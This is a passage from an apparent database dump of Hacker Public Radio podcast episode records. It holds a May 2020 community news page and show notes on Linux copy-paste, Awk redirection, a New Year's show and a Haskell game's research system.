Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3077\" target=\"_blank\">3077</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-05-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3077\" target=\"_blank\">Video conference Push to Talk</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=386\" target=\"_blank\">DanNixon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3078\" target=\"_blank\">3078</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-05-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3078\" target=\"_blank\">Coronavirus Update 2020-05-07</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3079\" target=\"_blank\">3079</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-05-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3079\" target=\"_blank\">Linux Inlaws S01E06 Porn and Trump</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3080\" target=\"_blank\">3080</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-05-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3080\" target=\"_blank\">Ansible ping</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3081\" target=\"_blank\">3081</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-05-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3081\" target=\"_blank\">Why do formal verification?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3082\" target=\"_blank\">3082</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-05-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3082\" target=\"_blank\">RFC 5005 Part 1 – Paged and archived feeds? Who cares?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3083\" target=\"_blank\">3083</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-05-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3083\" target=\"_blank\">Mumbling while on lockdown</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3084\" target=\"_blank\">3084</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-05-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3084\" target=\"_blank\">AudioBookClub 18 - Star Trek: The Continuing Mission</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3085\" target=\"_blank\">3085</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-05-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3085\" target=\"_blank\">Architectures of Robust Openness</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 8 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3013#comments\" target=\"_blank\">hpr3013</a></strong>\n(2020-02-19) \"<em>Bash Tips - 21</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3013#3\" target=\"_blank\">Comment 3</a>:\nnobody on 2020-05-22:\n\"awk\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3013#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2020-05-22:\n\"Response to \'nobody\' re awk\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3053#comments\" target=\"_blank\">hpr3053</a></strong>\n(2020-04-15) \"<em>AudioBookClub 17 - Blood Witness</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3053#2\" target=\"_blank\">Comment 2</a>:\nmordancy on 2020-05-28:\n\"Blood Witness\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3059#comments\" target=\"_blank\">hpr3059</a></strong>\n(2020-04-23) \"<em>A quick intro to Snapcast</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=386\" target=\"_blank\">DanNixon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3059#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2020-05-01:\n\"Thanks for the introduction\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3063#comments\" target=\"_blank\">hpr3063</a></strong>\n(2020-04-29) \"<em>Pens, pencils, paper and ink - 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3063#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2020-05-05:\n\"Fountain pens\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3063#2\" target=\"_blank\">Comment 2</a>:\nBookewyrmm on 2020-05-07:\n\"Pens, ink and paper\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3063#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2020-05-07:\n\"To Archer72\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3063#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2020-05-07:\n\"To Bookewyrmm\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 21 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3065#comments\" target=\"_blank\">hpr3065</a></strong>\n(2020-05-01) \"<em>The case for the unattributed message</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3065#1\" target=\"_blank\">Comment 1</a>:\nbrian in ohio on 2020-05-01:\n\"enemies\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3066#comments\" target=\"_blank\">hpr3066</a></strong>\n(2020-05-04) \"<em>HPR Community News for April 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3066#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2020-05-04:\n\"Thanks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3066#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-05-05:\n\"No problem\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3066#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2020-05-06:\n\"Blood type distribution\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3066#4\" target=\"_blank\">Comment 4</a>:\nAhuka on 2020-05-06:\n\"I loved the show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3066#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2020-05-06:\n\"Re: Blood type distribution\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3066#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2020-05-06:\n\"Thanks Ahuka\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3069#comments\" target=\"_blank\">hpr3069</a></strong>\n(2020-05-07) \"<em>Linux Inlaws S01E05 Porn and Skynet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3069#1\" target=\"_blank\">Comment 1</a>:\nBendy on 2020-05-12:\n\"skynet\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3071#comments\" target=\"_blank\">hpr3071</a></strong>\n(2020-05-11) \"<em>Bash snippet - quotes inside quoted strings</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3071#1\" target=\"_blank\">Comment 1</a>:\nnobody on 2020-05-22:\n\"Further simplifying\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3071#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-05-22:\n\"To \'nobody\' re ANSI-C quoting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3072#comments\" target=\"_blank\">hpr3072</a></strong>\n(2020-05-12) \"<em>The joy of pip-tools and pyenv-virtualenv</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3072#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2020-04-30:\n\"Errata: Ubuntu Python virtualenv works just fine\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3072#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2020-05-12:\n\"Interesting and insightful\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3073#comments\" target=\"_blank\">hpr3073</a></strong>\n(2020-05-13) \"<em>Matchbox and Diecast Restoration</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3073#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2020-05-13:\n\"sounds good\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3073#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2020-05-14:\n\"Feedback from Tuturto\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3075#comments\" target=\"_blank\">hpr3075</a></strong>\n(2020-05-15) \"<em>Federated Blogging with WriteFreely</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3075#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2020-05-01:\n\"Federated link for talk on federated things\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3077#comments\" target=\"_blank\">hpr3077</a></strong>\n(2020-05-19) \"<em>Video conference Push to Talk</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=386\" target=\"_blank\">DanNixon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3077#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2020-05-19:\n\"Brilliant Idea\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3077#2\" target=\"_blank\">Comment 2</a>:\njezra on 2020-05-19:\n\"an amazing mix of custom hardware and software\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3078#comments\" target=\"_blank\">hpr3078</a></strong>\n(2020-05-20) \"<em>Coronavirus Update 2020-05-07</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3078#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2020-05-22:\n\"my magical forrest Atheist comments.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3083#comments\" target=\"_blank\">hpr3083</a></strong>\n(2020-05-27) \"<em>Mumbling while on lockdown</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3083#1\" target=\"_blank\">Comment 1</a>:\nDanNixon on 2020-05-29:\n\"Groove based tape format\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3083#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2020-05-31:\n\"Re Groove based tape format\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3084#comments\" target=\"_blank\">hpr3084</a></strong>\n(2020-05-28) \"<em>AudioBookClub 18 - Star Trek: The Continuing Mission</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3084#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2020-05-28:\n\"Missing Fifty\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-May/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 9 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2813,'2019-05-15','Should we dump the linux Desktop.',1229,'Knightwise wonders if we should let go of the linux desktop environments and focus on cross-platform','<p>Knightwise wonders if we should let go of the linux desktop environments and focus on cross-platform applications instead. Please bring your torches and pitchforks.</p>',111,0,1,'CC-BY-SA','linux, desktop, rant',0,0,1),
(2814,'2019-05-16','Spectre and Meltdown and OpenBSD and our future',1251,'A discussion about CPU\'s and our future with them, where are we going?','<p>I discuss the entire Spectre and Meltdown issues and where we might go post an Intel world. My objective is to encourage others to leave Speculative processing backed by management engine based chips. SCATTER HUMANS!!! WE MUST LEAVE!!!!</p>\r\n',377,0,0,'CC-BY-SA','SCATTER HUMANS!!!',0,0,1),
(2815,'2019-05-17','Copy pasta',2300,'Copying and pasting on Linux: X selections, xsel, clipboard managers, GPM, screen, and more','<p>\r\nYou can copy and paste on Linux the same way you do on any other OS: Ctrl+C to copy and Ctrl+V to paste (or use the Edit menu, or a right-click menu).\r\n</p>\r\n\r\n<p>\r\nHowever, Linux doesn\'t limit you to just that.\r\nThe primary GUI environment of Linux (at the time of this recording) is X, and the <a href=\"https://www.x.org/releases/X11R7.7/doc/xorg-docs/icccm/icccm.html\">Inter-Client Communication Conventions Manual</a> defines three <strong>X Selection</strong> states&#58; Primary, Secondary, and Clipboard.\r\nThe Secondary is rarely (if ever?) used, so I don\'t cover it here.\r\n</p>\r\n\r\n<h2>Primary</h2>\r\n\r\n<p>\r\nThe primary X Selection is anything literally selected at any given moment.\r\nIf you highlight a word in Firefox with your mouse, for instance, then it becomes the Primary Selection, and it is owned by Firefox.\r\nIf you press the Middle Mouse Button in any application, then that application asks the owner (Firefox, in this example) for the data contained in the Primary Selection.\r\nFirefox sends the data to that application so that it can paste it for you.\r\n</p>\r\n\r\n<p>\r\nA Primary selection remains the Primary Selection until it is overwritten by a new Primary Selection.\r\nIn other words, text needn\'t be highlighted to be retained in the Primary Selection slot.\r\n</p>\r\n\r\n\r\n<h2>Clipboard</h2>\r\n\r\n<p>\r\nThe Clipboard Selection is data that has explicitly been sent to the clipboard by a copy action.\r\nThis is usually a right-click &#62; Copy or a selection of Edit &#62; Copy.\r\nWhen another application is told to paste from the clipboard, it pastes data from the Clipboard Selection.\r\n</p>\r\n\r\n<h2>Both</h2>\r\n\r\n<p>\r\nYou can (and often do) have both a Primary Selection and a Clipboard selection.\r\nIf you press Ctrl+V, you get the contents of the Clipboard Selection.\r\nIf you press the middle mouse button, then you get the contents of the Primary Selection.\r\n</p>\r\n\r\n<h2>xsel</h2>\r\n\r\n<p>\r\nThe <code>xsel</code> command allows you to retrieve the contents of an X Selection.\r\n</p>\r\n\r\n<pre><code>\r\n$ xsel --primary\r\ndungeons\r\n$ xsel --clipboard\r\ndragons\r\n</code></pre>\r\n\r\n<h2>Clipboard managers</h2>\r\n\r\nClipboard managers such as Klipper, CopyQ, <a href=\"https://parcellite.sourceforge.net/\" target=\"_blank\">Parcellite</a>, and so on, provide a history for your clipboard.\r\nThey track the latest 10 (or so) items you have copied or selected.\r\nThey can be a little confusing, because they do tend to blur the line between the Primary Selection and the Clipboard Selection, but now that you know the technical difference, it shouldn\'t confuse you to see them both listed by a clipboard manager designed to conflate them.\r\n</p>\r\n\r\n<h2>GPM</h2>\r\n\r\n<p>\r\nGPM is a daemon allowing you to use your mouse without a GUI.\r\nAmong its features, it permits you to select text in a text console (TTY) and then paste it with the middle mouse button.\r\n</p>\r\n\r\n<h2>GNU Screen and Tmux</h2>\r\n\r\n<p>\r\nScreen and tmux are &#34;window managers for text consoles&#34;.\r\nI don\'t tend to use tmux as often as I should, having learnt GNU Screen long ago, so I\'m not familiar with the process of copying and pasting with tmux.\r\nFor Screen, you can copy text in this way:\r\n</p>\r\n\r\n<ol>\r\n<li><p>\r\nPress Ctrl+A to get out of insert mode.\r\n</p></li>\r\n<li><p>\r\nPress left-square_bracket to enter copy-mode\r\n</p></li>\r\n<li><p>\r\nMove your text to the position you want to start selecting and press Enter or Return\r\n</p></li>\r\n<li><p>\r\nArrow to the position at which you want to end your selection and press Enter or Return again\r\n</p></li>\r\n</ol>\r\n\r\n<p>\r\nTo paste your selection:\r\n</p>\r\n\r\n<ol>\r\n<li><p>\r\nPress Ctrl+A to get out of insert mode.\r\n</p></li>\r\n<li><p>\r\nPress right-square_bracket to paste\r\n</p></li>\r\n</ol>\r\n\r\n\r\n\r\n',78,0,0,'CC-BY-SA','copy,paste,xsel',0,0,1),
(2816,'2019-05-20','Gnu Awk - Part 14',1357,'Redirection of input and output - part 1','<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the fourteenth episode of the “<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>” series which is being produced by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and myself.</p>\r\n<p>In this episode and the next I want to start looking at <em>redirection</em> within Awk programs. I had originally intended to cover the subject in one episode, but there is just too much.</p>\r\n<p>So, in the first episode I will be starting with <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Redirection\" title=\"Redirecting output of `print` and `printf`\">output redirection</a> and then in the next episode will spend some time looking at the <code>getline</code> command used for <em>explicit input</em>, often with redirection.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2816/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User’s Guide</em></a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Redirection\">Redirecting output of <code>print</code> and <code>printf</code></a></li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Special-FD\">Special Files for Standard Preopened Data Streams</a></li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Special-Files\">Special File names in gawk</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\">“<em>Gnu Awk - Part 1</em>”</a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\">“<em>Gnu Awk - Part 2</em>”</a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\">“<em>Gnu Awk - Part 3</em>”</a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\">“<em>Gnu Awk - Part 4</em>”</a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\">“<em>Gnu Awk - Part 5</em>”</a> - episode 2184</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2238\">“<em>Gnu Awk - Part 6</em>”</a> - episode 2238</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2330\">“<em>Gnu Awk - Part 7</em>”</a> - episode 2330</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2438\">“<em>Gnu Awk - Part 8</em>”</a> - episode 2438</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2476\">“<em>Gnu Awk - Part 9</em>”</a> - episode 2476</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2526\">“<em>Gnu Awk - Part 10</em>”</a> - episode 2526</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2554\">“<em>Gnu Awk - Part 11</em>”</a> - episode 2554</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2610\">“<em>Gnu Awk - Part 12</em>”</a> - episode 2610</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2804\">“<em>Gnu Awk - Part 13</em>”</a> - episode 2804</li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2816/full_shownotes.epub\">ePub version of these notes</a></li>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2816/awk14_fruit_data.txt\">awk14_fruit_data.txt</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2816/awk14_ex1.awk\">awk14_ex1.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2816/awk14_ex2.awk\">awk14_ex2.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2816/awk14_ex3.awk\">awk14_ex3.awk</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,94,1,'CC-BY-SA','Awk utility, Awk Language, gawk,redirection',0,0,1),
(2830,'2019-06-07','2018-2019 New Years Eve show part 1',12194,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 1</h2>\r\n<p>Welcome to the 7th Annual Hacker Public Radio show. It is December the 31st 2018 and the time is 10 hundred hours UTC.</p>\r\n<ul>\r\n<li>Ken introduces the New year show, gives some history and thanks Kevin Wisher and HonkeyMagoo for organising this.</li>\r\n<li>Wondering where Klaatu is,</li>\r\n<li>Fifty one fifty talks about his new isp<br /><a href=\"https://www.blazinghog.com\">https://www.blazinghog.com</a></li>\r\n<li>Ken GETS STUCK IN CAPS LOCK<br /> <a href=\"https://wiki.archlinux.org/index.php/Xorg/Keyboard_configuration\">https://wiki.archlinux.org/index.php/Xorg/Keyboard_configuration</a></li>\r\n<li>ISO8601 YYYY-MM-DD <a href=\"https://en.wikipedia.org/wiki/ISO_8601\">https://en.wikipedia.org/wiki/ISO_8601</a></li>\r\n<li><a href=\"https://www.hostelworld.com/hosteldetails.php/STF-IYHF-af-Chapman/Stockholm/32555\">https://www.hostelworld.com/hosteldetails.php/STF-IYHF-af-Chapman/Stockholm/32555</a></li>\r\n<li>Honkey is on his way to work</li>\r\n<li><pre>$ alias utc=\'/bin/date -u +%Y-%m-%d_%H-%M-%S%Z_%A\'</pre></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=9PfdQod8HTw\">https://www.youtube.com/watch?v=9PfdQod8HTw</a> History Buffs: Tora! Tora! Tora!</li>\r\n<li>klaatu joins us, career at Red Hat, IBM takeover, teaching Linux to non-tech people<br /><a href=\"https://en.wikipedia.org/wiki/Dalton_Plan\">https://en.wikipedia.org/wiki/Dalton_Plan</a></li>\r\n<li>Computer musems<br /><a href=\"https://vonhagen.org/collection.html\">https://vonhagen.org/collection.html</a></li>\r\n<li>barcamp (yes related to foo)<br /><a href=\"https://en.wikipedia.org/wiki/BarCamp\">https://en.wikipedia.org/wiki/BarCamp</a></li>\r\n<li>Oggcamp<br /><a href=\"https://oggcamp.org/\">https://oggcamp.org/</a></li>\r\n<li>Mint Cast Podcast<br /><a href=\"https://mintcast.org/\">https://mintcast.org/</a></li>\r\n<li>Brexit<br /><a href=\"https://en.wikipedia.org/wiki/Brexit\">https://en.wikipedia.org/wiki/Brexit</a></li>\r\n</ul>\r\n<p>\"we should have bought stock\"</p>\r\n\r\n',159,121,1,'CC-BY-SA','hpr nye, new years eve, community',0,0,1),
(2817,'2019-05-21','Are you successful? Click to find out more!',281,'The answer may surprise you!','<p>Based on <a href=\"https://libranet.de/display/0b6b25a8-125c-a71f-c7ae-f1a686792961\" class=\"uri\">https://libranet.de/display/0b6b25a8-125c-a71f-c7ae-f1a686792961</a>.</p>\r\n<p>It’s pretty short, less than 4 minutes, but I think it’s important.</p>\r\n<p>Who defines whether you are successful, or whether your project is successful, and does it matter?</p>',311,0,0,'CC-BY-SA','success, self-care',0,0,1),
(2828,'2019-06-05','Writing Web Game in Haskell - Science, part 2',2734,'tuturto continues their explanation on simulating science in a game written in Haskell','<h2 id=\"intro\">Intro</h2>\r\n<p>Last time we looked how to model technology and research. This time we’ll do some actual research. I’m skipping over some of the details as the episode is long enough as it is. Hopefully it’s still possible to follow with the show notes.</p>\r\n<p>Main concepts that I’m mentioning: Technology allows usage of specific buildings, ship components and such. Research unlock technologies and may have antecedents that has to be completed before the research can be started. Research cost is measure of how expensive a research is in terms of research points, which are produced by different buildings.</p>\r\n<p>Earlier I modeled tech tree as Map that had Technology as keys and Research as values. I realized that this is suboptimal and will replace it at some point in the future.</p>\r\n<h2 id=\"server-api\">Server API</h2>\r\n<p>There’s three resources that client can connect to. First one is for retrieving list of available research, second one for manipulating current research and last one for retrieving info on how much research points is being produced.</p>\r\n<pre><code>/api/research/available     ApiAvailableResearchR       GET\r\n/api/research/current       ApiCurrentResearchR         GET POST DELETE\r\n/api/research/production    ApiResearchProductionR      GET</code></pre>\r\n<h2 id=\"simulation\">Simulation</h2>\r\n<p>Simulation of research is done by <code>handleFactionResearch</code>, which does simulation for one faction for a given date. After calculating current research point production and retrieving list of current research, function calculates progress of current researches. Unfinished ones are written back to database, while completed are moved into <code>completed_research</code> table. Final step is updating what research will be available in the next turn.</p>\r\n<pre><code>handleFactionResearch date faction = do\r\n    production &lt;- totalProduction $ entityKey faction\r\n    current &lt;- selectList [ CurrentResearchFactionId ==. entityKey faction ] []\r\n    let updated = updateProgress production &lt;$&gt; current\r\n    _ &lt;- updateUnfinished updated\r\n    _ &lt;- handleCompleted date updated $ entityKey faction\r\n    _ &lt;- updateAvailableResearch $ entityKey faction\r\n    return ()</code></pre>\r\n<h2 id=\"research-point-production\">Research point production</h2>\r\n<p>Research points are produced by buildings. So 